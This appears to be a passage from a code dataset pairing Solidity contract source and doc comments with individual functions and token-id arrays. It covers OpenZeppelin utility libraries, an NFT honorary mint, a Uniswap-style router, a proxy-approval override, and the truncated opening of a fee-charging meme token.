contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
@notice Used by the owner (DAO) to mint honorary NFTs. NFTs minted using this function range from #1000 to #1018. @param amount Number of NFTs to mint. No _safeMint because the owner is a gnosis safe
function mintHonorary(uint256 amount) external onlyOwner { require(amount != 0, "INVALID_AMOUNT"); uint256 currentPointer = honoraryPointer; uint256 newPointer = currentPointer + amount; require(newPointer - 1 <= MAX_SUPPLY, "HONORARY_LIMIT_EXCEEDED"); honoraryPointer = newPointer; for (uint256 i = 0; i < amount; i++) { _mint(msg.sender, currentPointer + i); } }
6,917,215
[ 1, 6668, 635, 326, 3410, 261, 18485, 13, 358, 312, 474, 24338, 280, 814, 423, 4464, 87, 18, 423, 4464, 87, 312, 474, 329, 1450, 333, 445, 1048, 628, 4336, 358, 13822, 28, 18, 225, 3844, 3588, 434, 423, 4464, 87, 358, 312, 474, 18, 2631, 389, 4626, 49, 474, 2724, 326, 3410, 353, 279, 314, 18050, 291, 4183, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 44, 265, 280, 814, 12, 11890, 5034, 3844, 13, 3903, 1338, 5541, 288, 203, 3639, 2583, 12, 8949, 480, 374, 16, 315, 9347, 67, 2192, 51, 5321, 8863, 203, 3639, 2254, 5034, 783, 4926, 273, 24338, 280, 814, 4926, 31, 203, 3639, 2254, 5034, 394, 4926, 273, 783, 4926, 397, 3844, 31, 203, 3639, 2583, 12, 2704, 4926, 300, 404, 1648, 4552, 67, 13272, 23893, 16, 315, 44, 673, 916, 6043, 67, 8283, 67, 2294, 26031, 8863, 203, 203, 3639, 24338, 280, 814, 4926, 273, 394, 4926, 31, 203, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 3844, 31, 277, 27245, 288, 203, 5411, 389, 81, 474, 12, 3576, 18, 15330, 16, 783, 4926, 397, 277, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.8.1; import './libraries/TransferHelper.sol'; import './libraries/SafeMath.sol'; import './interfaces/IUniswapV2Pair.sol'; import './interfaces/IERC20.sol'; contract UniswapV2Router01 { address public owner; mapping(address => mapping(address => address)) public pairs; modifier ensure(uint deadline) { require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED'); _; } constructor() { owner = msg.sender; } function addPair(address tokenA, address tokenB, address pair) external { require(msg.sender == owner, 'UniswapV2Router: DECLINED'); pairs[tokenA][tokenB] = pair; pairs[tokenB][tokenA] = pair; } // **** ADD LIQUIDITY **** function _addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin ) private view returns (uint amountA, uint amountB) { (uint reserveA, uint reserveB) = getReserves(tokenA, tokenB); if (reserveA == 0 && reserveB == 0) { (amountA, amountB) = (amountADesired, amountBDesired); } else { uint amountBOptimal = quote(amountADesired, reserveA, reserveB); if (amountBOptimal <= amountBDesired) { require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT'); (amountA, amountB) = (amountADesired, amountBOptimal); } else { uint amountAOptimal = quote(amountBDesired, reserveB, reserveA); assert(amountAOptimal <= amountADesired); require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT'); (amountA, amountB) = (amountAOptimal, amountBDesired); } } } function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) { (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin); address pair = pairs[tokenA][tokenB]; TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA); TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB); liquidity = IUniswapV2Pair(pair).mint(to); } // **** REMOVE LIQUIDITY **** function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) public ensure(deadline) returns (uint amountA, uint amountB) { address pair = pairs[tokenA][tokenB]; IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair (uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to); (address token0,) = sortTokens(tokenA, tokenB); (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0); require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT'); require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT'); } // **** SWAP **** // requires the initial amount to have already been sent to the first pair function _swap(uint[] memory amounts, address[] memory path, address _to) private { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = sortTokens(input, output); uint amountOut = amounts[i + 1]; (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0)); address to = i < path.length - 2 ? pairs[output][path[i + 2]] : _to; IUniswapV2Pair(pairs[input][output]).swap(amount0Out, amount1Out, to); } } function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external ensure(deadline) returns (uint[] memory amounts) { amounts = getAmountsOut(amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom(path[0], msg.sender, pairs[path[0]][path[1]], amounts[0]); _swap(amounts, path, to); } function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external ensure(deadline) returns (uint[] memory amounts) { amounts = getAmountsIn(amountOut, path); require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT'); TransferHelper.safeTransferFrom(path[0], msg.sender, pairs[path[0]][path[1]], amounts[0]); _swap(amounts, path, to); } // *** UniswapV2Library *** using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Router: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Router: ZERO_ADDRESS'); } // fetches and sorts the reserves for a pair function getReserves(address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairs[tokenA][tokenB]).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Router: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Router: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Router: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Router: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Router: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Router: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Router: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } }
given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Router: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); }
12,985,026
[ 1, 10822, 392, 876, 3844, 434, 392, 3310, 471, 3082, 400, 264, 3324, 16, 1135, 279, 1931, 810, 3844, 434, 326, 1308, 3310, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 24418, 382, 12, 11890, 3844, 1182, 16, 2254, 20501, 382, 16, 2254, 20501, 1182, 13, 2713, 16618, 1135, 261, 11890, 3844, 382, 13, 288, 203, 3639, 2583, 12, 8949, 1182, 405, 374, 16, 296, 984, 291, 91, 438, 58, 22, 8259, 30, 2120, 6639, 42, 1653, 7266, 2222, 67, 15527, 67, 2192, 51, 5321, 8284, 203, 3639, 2583, 12, 455, 6527, 382, 405, 374, 597, 20501, 1182, 405, 374, 16, 296, 984, 291, 91, 438, 58, 22, 8259, 30, 2120, 6639, 42, 1653, 7266, 2222, 67, 2053, 53, 3060, 4107, 8284, 203, 3639, 2254, 16730, 273, 20501, 382, 18, 16411, 12, 8949, 1182, 2934, 16411, 12, 18088, 1769, 203, 3639, 2254, 15030, 273, 20501, 1182, 18, 1717, 12, 8949, 1182, 2934, 16411, 12, 2733, 27, 1769, 203, 3639, 3844, 382, 273, 261, 2107, 7385, 342, 15030, 2934, 1289, 12, 21, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x686ccaEA57C6Fd2739B6Fc1B83880fAe52Bb5322/sources/SlickTheCat.sol
Whitelist OpenSea proxy contract for easy trading. Whitelist INU Proxy for feeless trading.
function isApprovedForAll(address owner, address operator) override public view returns(bool){ ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } if(inuProxyAddress == operator) { return true; } return super.isApprovedForAll(owner,operator); }
16,482,937
[ 1, 18927, 3502, 1761, 69, 2889, 6835, 364, 12779, 1284, 7459, 18, 3497, 7523, 2120, 57, 7659, 364, 1656, 12617, 1284, 7459, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 353, 31639, 1290, 1595, 12, 2867, 3410, 16, 1758, 3726, 13, 3849, 1071, 1476, 1135, 12, 6430, 15329, 203, 3639, 7659, 4243, 2889, 4243, 273, 7659, 4243, 12, 5656, 4243, 1887, 1769, 203, 3639, 309, 261, 2867, 12, 5656, 4243, 18, 20314, 606, 12, 8443, 3719, 422, 3726, 13, 288, 203, 5411, 327, 638, 31, 203, 3639, 289, 203, 3639, 309, 12, 6860, 3886, 1887, 422, 3726, 13, 288, 203, 5411, 327, 638, 31, 203, 3639, 289, 203, 3639, 327, 2240, 18, 291, 31639, 1290, 1595, 12, 8443, 16, 9497, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Did you miss PhoenixRising? t.me/babyphoenixrising */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BabyPhoenixRising is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Baby Phoenix Rising"; string private constant _symbol = "BABYPHNIX"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 6; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = 